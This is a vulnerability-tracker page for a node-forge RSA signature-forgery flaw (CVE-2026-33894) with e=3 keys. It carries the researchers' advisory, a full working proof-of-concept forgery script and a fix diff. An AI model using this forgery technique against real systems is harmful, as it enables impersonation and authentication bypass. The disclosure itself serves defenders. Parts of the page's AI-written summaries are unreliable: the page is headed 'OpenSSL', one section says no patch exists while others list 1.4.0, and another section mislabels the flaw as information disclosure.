Skip to main content

OpenSSL CVE-2026-33894

HIGH
Improper Input Validation (CWE-20)
2026-03-26 https://github.com/digitalbazaar/forge GHSA-ppp5-5v6c-4jwp
7.5
CVSS 3.1 · Vendor: https://github.com/digitalbazaar/forge
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker crafts forged signature with garbage bytes
  2. Delivery
    Insert malicious padding in ASN structure
  3. Exploit
    Submit signature to low-exponent (e=3) RSA key
  4. Execution
    Signature verification accepts forged signature
  5. Impact
    Attacker impersonates legitimate signer

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V2 - Validation and Business Logic Input validation, allowlisting
Exploitation Conditions

Remote unauthenticated attacker can forge RSASSA PKCS#1 v1.5 signatures against systems using low public exponent keys (e=3). No special configuration or victim interaction required. Affects any application validating signatures with vulnerable implementations of PKCS#1 v1.5.

Impact

Real-world risk is moderate to high depending on deployment context. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N indicates network-accessible attack with low complexity requiring no privileges or user interaction, but impact is limited to integrity (signature bypass). Critical risk factors: exploitation requires target systems use RSA keys with e=3 (uncommon in modern deployments favoring e=65537), and attackers must control message content being signed. The detailed proof-of-concept significantly lowers exploitation barriers for qualified attackers. No EPSS score provided in input data. No CISA KEV listing indicates no confirmed active exploitation. However, the attack is automatable against vulnerable configurations and requires no user interaction. SSVC assessment: exploitation status is proof-of-concept, technical impact is partial (authentication bypass in affected contexts), automatable is yes. Priority depends heavily on whether downstream applications use low-exponent keys - most production systems use e=65537 making this lower priority, but legacy systems or improperly configured deployments face genuine risk. The availability of working POC code and clear patch guidance increases urgency for affected deployments.

Exploit ScenarioDerived

An attacker targeting a web application that uses node-forge for JWT signature verification with RSA e=3 keys crafts a malicious JWT token containing forged signature bytes constructed via cube-root interval arithmetic and ASN.1 structure injection. The attacker submits this token to authentication endpoints where forge's lenient verification accepts the forged signature as valid, granting unauthorized access to protected resources. The proof-of-concept demonstrates this attack completes successfully with forge accepting the forgery while OpenSSL-based verification correctly rejects it, confirming the differential behavior attackers can exploit in real deployments.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 26, 2026

Signature forgery in node-forge npm package (all versions through v1.3.3) allows remote attackers to bypass RSASSA PKCS#1 v1.5 signature verification for RSA keys using low public exponent (e=3). Attackers can construct Bleichenbacher-style forged signatures by injecting malicious ASN.1 content within DigestInfo structures and exploiting missing padding length validation, enabling authentication bypass in systems relying on forge for cryptographic verification. Proof-of-concept code demonstrates successful forgery against forge while OpenSSL correctly rejects the same signature. CVSS score 7.5 (High) with network attack vector, low complexity, and no privileges required. No public exploit identified at time of analysis beyond the research POC.

RemediationAI

Apply the vendor-provided patch that enforces two critical validations: minimum 8-byte padding length check in _decodePkcs1_v1_5 function and canonical DigestInfo structure validation requiring exactly 2 ASN.1 fields in the parsed object. The patch is available at https://github.com/digitalbazaar/forge/security/advisories/GHSA-ppp5-5v6c-4jwp with specific code changes provided in the advisory diff. Until patching is completed, organizations should audit RSA key configurations and migrate any keys using e=3 to standard e=65537 public exponent, which significantly increases the computational difficulty of Bleichenbacher-style forgeries. For applications where immediate patching is not feasible, implement additional signature verification using a secondary library (such as Node.js crypto with OpenSSL backend) to provide defense-in-depth against forged signatures. Review RFC 8017 and RFC 2313 specifications at https://www.rfc-editor.org/rfc/rfc8017.html and https://datatracker.ietf.org/doc/html/rfc2313#section-8 for proper PKCS#1 v1.5 implementation requirements.

Affected Packages

npm node-forge fix: 1.4.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability affects node-forge (pkg:npm/node-forge), a JavaScript cryptography library implementing RSA signature operations. The flaw resides in lib/rsa.js within the RSASSA PKCS#1 v1.5 signature verification path. Two implementation defects enable forgery: First, the _decodePkcs1_v1_5 function fails to enforce RFC 2313's requirement for minimum 8-byte padding (PS >= 8), despite comments acknowledging this requirement. Second, the ASN.1 parser in key.verify accepts non-canonical DigestInfo structures containing attacker-controlled extra ASN.1 fields (CWE-20: Improper Input Validation). While the _parseAllDigestBytes setting ensures all bytes are parsed, it does not validate canonical structure shape. Attackers exploiting keys with e=3 can use cube-root interval arithmetic to construct signature blocks containing injected OCTET STRING fields that pass forge's lenient validation while legitimate implementations (OpenSSL) correctly reject them. This represents a variant of CVE-2022-24771 with a different injection vector inside rather than outside ASN.1 structures.

Know when OpenSSL gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/digitalbazaar/forge) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
SUSE HIGH
Red Hat 7.5 HIGH

Primary rating from Vendor (https://github.com/digitalbazaar/forge).

CVSS VectorVendor: https://github.com/digitalbazaar/forge

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 26, 2026 - 22:02 nvd
HIGH 7.5

DescriptionCVE.org

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5 Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions:

  • Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
  • _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

  1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
  2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

  1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
  2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
  3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
  4. The script verifies both signatures with:
  • forge verify (_parseAllDigestBytes: true), and
  • Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).
  1. Confirm output includes:
  • control-forge-strict: true
  • control-node: true
  • forgery (forge library, strict): true
  • forgery (node/OpenSSL): false

Proof of Concept

Overview:

  • Demonstrates a valid control signature and a forged signature in one run.
  • Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
  • Uses Node/OpenSSL as an differential verification baseline.
  • Observed output on tested commit:
text
control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false

<details><summary>repro_min.js</summary>

javascript
#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0;
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();

</details>

Suggested Patch

  • Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block.
  • Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

diff
index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

  • RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
  • > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
  • RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
  • lib/rsa.js key.verify(...) at lines ~1139-1223.
  • lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 184 npm packages depend on node-forge (77 direct, 109 indirect)

Ecosystem-wide dependent count for version 1.4.0.

Executive ViewAI

Why It Matters

The node-forge npm package (versions ≤1.3.3) contains a critical cryptographic validation flaw that allows attackers to forge RSA signatures and bypass authentication controls in any system using this library for signature verification. Organizations relying on node-forge for cryptographic operations-including API authentication, code signing, or certificate validation-face immediate risk of unauthorized access and impersonation without code changes or deployment of compensating controls.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Replace node-forge signature verification with OpenSSL-backed libraries or native Node.js crypto module, which correctly reject forged signatures; (2) Disable RSA signature verification features if not business-critical; (3) Network segmentation: restrict access to systems performing signature verification to trusted internal networks only; (4) Cryptographic monitoring: log and alert on signature verification failures; (5) Require high public exponents (e≥65537) if forge usage cannot be immediately eliminated. Code-level remediation (library replacement) is the only durable control.

Threat Intelligence Overview

EPSS Score
0.0%
Top 92% exploitable
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Affected Products (CPE)CVE.org

pkg:npm/node-forge
CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2021-3711 CRITICAL POC
9.8 Aug 24

In order to decrypt SM2 encrypted data an application is expected to call the API function EVP_PKEY_decrypt(). Rated cri

CVE-2014-0195 MEDIUM POC
6.8 Jun 05

The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2016-0800 MEDIUM POC
5.9 Mar 01

The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se

CVE-2015-0204 MEDIUM POC
4.3 Jan 09

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k

CVE-2022-2068 HIGH
7.3 Jun 21

In addition to the c_rehash shell command injection identified in CVE-2022-1292, further circumstances where the c_rehas

CVE-2015-4000 LOW POC
3.7 May 21

The TLS protocol 1.2 and earlier, when a DHE_EXPORT ciphersuite is enabled on a server but not on a client, does not pro

CVE-2014-3566 LOW POC
3.4 Oct 15

The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

CVE-2015-1793 MEDIUM POC
6.5 Jul 09

The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly

CVE-2022-3602 HIGH
7.5 Nov 01

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig

Vendor StatusVendor

SUSE

Severity: Important

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy